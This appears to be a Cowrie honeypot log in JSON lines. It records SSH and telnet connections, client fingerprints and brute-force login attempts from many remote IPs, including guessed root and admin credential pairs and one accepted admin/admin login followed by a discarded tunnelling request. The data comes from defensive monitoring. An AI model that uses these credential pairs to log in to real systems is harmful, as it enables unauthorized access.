{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:11.847641Z","src_ip":"59.17.95.129","session":"5e1b881c3d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"panfeng","password":"panfeng","message":"login attempt [panfeng/panfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:12.689783Z","src_ip":"59.17.95.129","session":"5e1b881c3d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:13.895527Z","src_ip":"59.17.95.129","session":"5e1b881c3d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6532,"dst_ip":"10.17.0.5","dst_port":22,"session":"a540a712e720","protocol":"ssh","message":"New connection: 87.251.64.176:6532 (10.17.0.5:22) [session: a540a712e720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:14.822042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:14.826791Z","src_ip":"87.251.64.176","session":"a540a712e720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:14.923328Z","src_ip":"87.251.64.176","session":"a540a712e720","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:15.215303Z","src_ip":"87.251.64.176","session":"a540a712e720","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:15.316745Z","session":"a540a712e720","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:15.417106Z","src_ip":"87.251.64.176","session":"a540a712e720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:15.649905Z","src_ip":"87.251.64.176","session":"a540a712e720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":42092,"dst_ip":"159.203.135.109","dst_port":22,"session":"30306494a020","protocol":"ssh","message":"New connection: 147.45.197.250:42092 (159.203.135.109:22) [session: 30306494a020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:17.163714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:17.173641Z","src_ip":"147.45.197.250","session":"30306494a020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:17.264557Z","src_ip":"147.45.197.250","session":"30306494a020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555q","message":"login attempt [root/55555q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:17.536810Z","src_ip":"147.45.197.250","session":"30306494a020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:18.631320Z","src_ip":"147.45.197.250","session":"30306494a020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50286,"dst_ip":"10.17.0.5","dst_port":23,"session":"045b99c1433e","protocol":"telnet","message":"New connection: 152.42.224.71:50286 (10.17.0.5:23) [session: 045b99c1433e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:24.425181Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46432,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f136153358","protocol":"ssh","message":"New connection: 193.32.162.145:46432 (10.17.0.5:22) [session: 60f136153358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:25.411850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:25.454259Z","src_ip":"193.32.162.145","session":"60f136153358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:25.694087Z","src_ip":"193.32.162.145","session":"60f136153358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:26.013084Z","src_ip":"193.32.162.145","session":"60f136153358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:27.112711Z","src_ip":"193.32.162.145","session":"60f136153358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":46402,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd6ffbe3759b","protocol":"ssh","message":"New connection: 170.106.119.118:46402 (10.17.0.5:22) [session: dd6ffbe3759b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:29.908710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:29.913043Z","src_ip":"170.106.119.118","session":"dd6ffbe3759b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:29.981378Z","src_ip":"170.106.119.118","session":"dd6ffbe3759b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"casper","message":"login attempt [root/casper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:30.290221Z","src_ip":"170.106.119.118","session":"dd6ffbe3759b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc3008d9e8f","protocol":"ssh","message":"New connection: 43.153.69.201:35372 (10.17.0.5:22) [session: acc3008d9e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:30.437513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:30.442208Z","src_ip":"43.153.69.201","session":"acc3008d9e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:30.510813Z","src_ip":"43.153.69.201","session":"acc3008d9e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v5b6n7m","message":"login attempt [root/1z2x3c4v5b6n7m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:30.816046Z","src_ip":"43.153.69.201","session":"acc3008d9e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a93bf15b02f","protocol":"telnet","message":"New connection: 152.42.224.71:36924 (10.17.0.5:23) [session: 7a93bf15b02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:31.038345Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:31.361593Z","src_ip":"170.106.119.118","session":"dd6ffbe3759b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:31.885948Z","src_ip":"43.153.69.201","session":"acc3008d9e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":40216,"dst_ip":"10.17.0.5","dst_port":22,"session":"c785efaefe5d","protocol":"ssh","message":"New connection: 58.186.20.143:40216 (10.17.0.5:22) [session: c785efaefe5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:37.450269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:37.453988Z","src_ip":"58.186.20.143","session":"c785efaefe5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:37.699140Z","src_ip":"58.186.20.143","session":"c785efaefe5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irene123","message":"login attempt [root/irene123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:38.711908Z","src_ip":"58.186.20.143","session":"c785efaefe5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:39.959808Z","src_ip":"58.186.20.143","session":"c785efaefe5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":37488,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f245484b05","protocol":"ssh","message":"New connection: 62.193.106.227:37488 (10.17.0.5:22) [session: 12f245484b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:41.330603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:41.334517Z","src_ip":"62.193.106.227","session":"12f245484b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:41.480543Z","src_ip":"62.193.106.227","session":"12f245484b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jupyter1","message":"login attempt [root/jupyter1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:42.092978Z","src_ip":"62.193.106.227","session":"12f245484b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.200.101","src_port":10150,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d8d4560617","protocol":"ssh","message":"New connection: 102.129.200.101:10150 (10.17.0.5:22) [session: a5d8d4560617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:42.970969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:42.977146Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
